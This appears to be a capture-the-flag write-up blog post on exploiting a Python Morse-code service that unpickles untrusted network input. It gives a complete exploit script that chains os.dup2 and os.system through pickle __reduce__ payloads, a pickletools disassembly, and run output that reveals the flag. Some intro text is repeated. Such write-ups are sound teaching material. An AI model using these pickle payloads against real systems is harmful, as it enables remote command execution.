Description:
You have a nice service that transforms any messages into a simple Morse-like code for further usage. It seems to work pretty well but sometimes it can return something unusual. Find out what can make it work wrong and what it returns in this case. 10.13.0.5:6000
The source code of the service is given and its written in python. Vulnerability is easy to spot, the server.py file uses python pickles. Here is a section of code from server.py
[*] dup2 stdout and socket descriptor
[*] execute commands using system() function and read the output from the socket
Below is the exploit we used:
You have a nice service that transforms any messages into a simple Morse-like code for further usage. It seems to work pretty well but sometimes it can return something unusual. Find out what can make it work wrong and what it returns in this case. 10.13.0.5:6000
The source code of the service is given and its written in python. Vulnerability is easy to spot, the server.py file uses python pickles. Here is a section of code from server.py
while True: s_client, addrinfo = s.accept() os.fork() data = s_client.recv(1024) if data: try: print data + '\n from ' + str(addrinfo) print len(data) msg = pickle.loads(data) # code execution vulnerability print str(msg) proc = Processor() response = proc.process(msg) s_client.send(response)Here data passed to pickle.loads(data) is not sanitized. Details of exploiting python pickle is found in paper Sour Pickles and blog.nelhage.com. We tried using linux features to get a connect back shell and leak data through out of band traffic using wget and curl to make http requests. But both the attempt failed. Finally, this is the idea of our exploit
[*] dup2 stdout and socket descriptor
[*] execute commands using system() function and read the output from the socket
Below is the exploit we used:
#!/usr/bin/env python # exploit.py import pickle import socket import os ip = "10.13.0.5" #ip = "127.0.0.1" port = 6000 soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) soc.connect((ip, port)) class payload_dup2(object): def __reduce__(self): return (os.dup2, (5,1,)) class payload_system(object): def __reduce__(self): com = "cat flag.txt" return (os.system, (com,)) payload = pickle.dumps(payload_dup2())[:-1] # remove the STOP marker payload += pickle.dumps(payload_system()) print repr(payload) soc.send(payload + '\n') print soc.recv(1024)Remove STOP marker from the dup2() pickled data, then append payload for system() with it .Pickle'd data is slightly modified to bypass sanity checks and can be analysed using pickletools.dis()
>>> pickletools.dis("cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np3\n(S'cat flag.txt'\np4\ntp5\nRp6\nR.") 0: c GLOBAL 'posix dup2' 12: p PUT 0 15: ( MARK 16: I INT 5 19: I INT 1 22: t TUPLE (MARK at 15) 23: p PUT 1 26: R REDUCE 27: p PUT 2 30: c GLOBAL 'posix system' 44: p PUT 3 47: ( MARK 48: S STRING 'cat flag.txt' 64: p PUT 4 67: t TUPLE (MARK at 47) 68: p PUT 5 71: R REDUCE 72: p PUT 6 75: R REDUCE 76: . STOP highest protocol among opcodes = 0
[ctf@renorobert exploit100]$ python exploit.py # ls "cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n." flag.txt message.py message.pyc processor.py processor.pyc server.py [ctf@renorobert exploit100]$ python exploit.py # cat flag.txt "cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'cat flag.txt'\np1\ntp2\nRp3\n." Iame@tt$ke][ack3RThe flag for the challenge is Iame@tt$ke][ack3R
No comments :
Post a Comment